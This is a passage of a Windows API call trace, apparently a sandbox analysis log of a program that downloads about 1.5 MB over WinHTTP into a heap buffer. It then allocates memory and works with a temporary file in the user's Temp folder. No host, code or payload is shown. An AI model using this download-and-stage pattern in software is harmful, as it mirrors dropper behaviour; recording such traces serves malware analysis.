hRequest=0x98f8ff0, lpBuffer=0xf939810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf939810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.934] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xcf800) returned 0xf86f010 [0178.934] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf93c010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf93c010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.934] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xd2000) returned 0xf86f010 [0178.934] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf93e810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf93e810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.960] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xd4800) returned 0xf86f010 [0178.960] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf941010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf941010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.960] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xd7000) returned 0xf86f010 [0178.960] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf943810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf943810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.961] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xd9800) returned 0xf86f010 [0178.961] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf946010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf946010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.961] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xdc000) returned 0xf86f010 [0178.961] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf948810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf948810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.962] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xde800) returned 0xf86f010 [0178.962] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf94b010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf94b010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.962] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xe1000) returned 0xf86f010 [0178.962] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf94d810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf94d810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.963] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xe3800) returned 0xf86f010 [0178.963] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf950010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf950010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.963] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xe6000) returned 0xf86f010 [0178.963] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf952810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf952810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.963] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xe8800) returned 0xf86f010 [0178.964] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf955010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf955010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.964] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xeb000) returned 0xf86f010 [0178.964] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf957810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf957810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.964] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xed800) returned 0xf86f010 [0178.965] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf95a010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf95a010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.965] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xf0000) returned 0xf86f010 [0178.965] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf95c810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf95c810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.965] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xf2800) returned 0xf86f010 [0178.965] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf95f010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf95f010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.966] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xf5000) returned 0xf86f010 [0178.966] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf961810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf961810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.966] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xf7800) returned 0xf86f010 [0178.966] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf964010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf964010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.967] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xfa000) returned 0xf86f010 [0178.967] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf966810, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf966810*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.967] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xfc800) returned 0xf86f010 [0178.967] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf969010, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf969010*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.967] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf86f010, Size=0xff000) returned 0xb2db040 [0178.993] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb3d7840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb3d7840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0178.993] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2db040, Size=0x101800) returned 0xb3e6040 [0179.019] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb4e5040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb4e5040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0179.019] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb3e6040, Size=0x104000) returned 0xf27f040 [0179.091] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf380840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf380840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0179.153] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf27f040, Size=0x106800) returned 0xb2d2040 [0179.186] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb3d6040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb3d6040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0179.187] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d2040, Size=0x109000) returned 0xb3ef040 [0179.221] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb4f5840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb4f5840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0179.221] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb3ef040, Size=0x10b800) returned 0xf27b040 [0179.378] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf384040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf384040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0179.380] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf27b040, Size=0x10e000) returned 0xb2d0040 [0179.416] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb3db840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb3db840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0179.417] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d0040, Size=0x110800) returned 0xb3e8040 [0179.449] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb4f6040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb4f6040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0179.449] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb3e8040, Size=0x113000) returned 0xf27f040 [0179.528] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf38f840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf38f840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0179.529] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf27f040, Size=0x115800) returned 0xb2d2040 [0179.679] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb3e5040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb3e5040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0179.866] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d2040, Size=0x118000) returned 0xb3f4040 [0179.892] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb509840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb509840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0179.893] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb3f4040, Size=0x11a800) returned 0xf27a040 [0179.919] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf392040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf392040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0179.919] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf27a040, Size=0x11d000) returned 0xb2d1040 [0180.069] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb3eb840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb3eb840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.151] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d1040, Size=0x11f800) returned 0xb3fa040 [0180.179] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb517040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb517040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.179] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb3fa040, Size=0x122000) returned 0xf270040 [0180.209] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf38f840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf38f840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.209] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf270040, Size=0x124800) returned 0xb2d0040 [0180.237] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb3f2040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb3f2040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.238] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d0040, Size=0x127000) returned 0xb401040 [0180.305] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb525840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb525840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.307] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb401040, Size=0x129800) returned 0xf27d040 [0180.342] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf3a4040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf3a4040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.342] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf27d040, Size=0x12c000) returned 0xb2dd040 [0180.371] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb406840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb406840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.371] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2dd040, Size=0x12e800) returned 0xb414040 [0180.400] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb540040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb540040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.401] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb414040, Size=0x131000) returned 0xb2d0040 [0180.471] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb3fe840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb3fe840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.537] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d0040, Size=0x133800) returned 0xb41f040 [0180.601] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb550040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb550040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.603] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb41f040, Size=0x136000) returned 0xb2d0040 [0180.675] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb403840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb403840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.686] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d0040, Size=0x138800) returned 0xb411040 [0180.816] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb547040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb547040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.830] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb411040, Size=0x13b000) returned 0xf27e040 [0180.870] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf3b6840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf3b6840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.871] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf27e040, Size=0x13d800) returned 0xb2d1040 [0180.909] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb40c040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb40c040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0180.910] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d1040, Size=0x140000) returned 0xb41c040 [0181.100] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb559840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb559840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.138] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb41c040, Size=0x142800) returned 0xf277040 [0181.169] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf3b7040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf3b7040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.169] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf277040, Size=0x145000) returned 0xb2d6040 [0181.199] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb418840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb418840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.200] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d6040, Size=0x147800) returned 0xb42d040 [0181.302] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb572040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb572040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.355] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb42d040, Size=0x14a000) returned 0xf277040 [0181.389] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xf3be840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xf3be840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.389] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xf277040, Size=0x14c800) returned 0xb2d6040 [0181.422] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb420040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb420040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.423] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d6040, Size=0x14f000) returned 0xb43e040 [0181.494] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb58a840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb58a840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.563] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb43e040, Size=0x151800) returned 0xb2dc040 [0181.600] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb42b040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb42b040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.601] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2dc040, Size=0x154000) returned 0xb431040 [0181.633] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb582840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb582840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.634] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb431040, Size=0x156800) returned 0xb2d7040 [0181.766] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb42b040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb42b040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.780] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d7040, Size=0x159000) returned 0xb43d040 [0181.811] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb593840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb593840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.812] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb43d040, Size=0x15b800) returned 0xb2d0040 [0181.906] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb429040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb429040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0181.907] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d0040, Size=0x15e000) returned 0xb432040 [0182.074] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb58d840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb58d840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0182.111] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb432040, Size=0x160800) returned 0xfb53040 [0182.146] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xfcb1040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xfcb1040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0182.146] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xfb53040, Size=0x163000) returned 0xb2d8040 [0182.180] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb438840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb438840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0182.180] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d8040, Size=0x165800) returned 0xb44b040 [0182.264] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb5ae040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb5ae040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0182.283] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb44b040, Size=0x168000) returned 0xfb5a040 [0182.320] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xfcbf840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xfcbf840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0182.380] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xfb5a040, Size=0x16a800) returned 0xb2d8040 [0182.427] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb440040, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb440040*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x2800) returned 1 [0182.428] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb2d8040, Size=0x16d000) returned 0xb45d040 [0182.516] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb5c7840, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb5c7840*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x1e00) returned 1 [0182.517] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0xb45d040, Size=0x16f800) returned 0xb2d7040 [0182.561] WinHttpReadData (in: hRequest=0x98f8ff0, lpBuffer=0xb443640, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fcb8 | out: lpBuffer=0xb443640*, lpdwNumberOfBytesRead=0xfd4fcb8*=0x0) returned 1 [0182.561] VirtualAlloc (lpAddress=0x0, dwSize=0x16c600, flAllocationType=0x3000, flProtect=0x4) returned 0xb450000 [0182.600] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0xb2d7040) returned 1 [0182.701] WinHttpCloseHandle (hInternet=0x98f8ff0) returned 1 [0182.701] WinHttpCloseHandle (hInternet=0x86c9bc0) returned 1 [0182.701] WinHttpCloseHandle (hInternet=0x8621860) returned 1 [0182.702] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x4739a0) returned 0x10c [0182.703] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x4739a0) returned 1 [0182.731] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x473950) returned 0x3b [0182.731] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x473950) returned 1 [0182.732] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x473930) returned 0x13 [0182.732] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x473930) returned 1 [0182.732] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x210) returned 0x475df0 [0182.735] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x210) returned 0x476010 [0182.735] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x476010 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0182.735] lstrcatW (in: lpString1="", lpString2="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\" [0182.735] GetTempFileNameW (in: lpPathName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\", lpPrefixString=0x0, uUnique=0x0, lpTempFileName=0x476010 | out: lpTempFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\8b87.tmp")) returned 0x8b87 [0182.739] DeleteFileW (lpFileName="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\8b87.tmp")) returned 1 [0182.740] lstrlenW (lpString="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87.tmp") returned 45 [0182.740] lstrcatW (in: lpString1="", 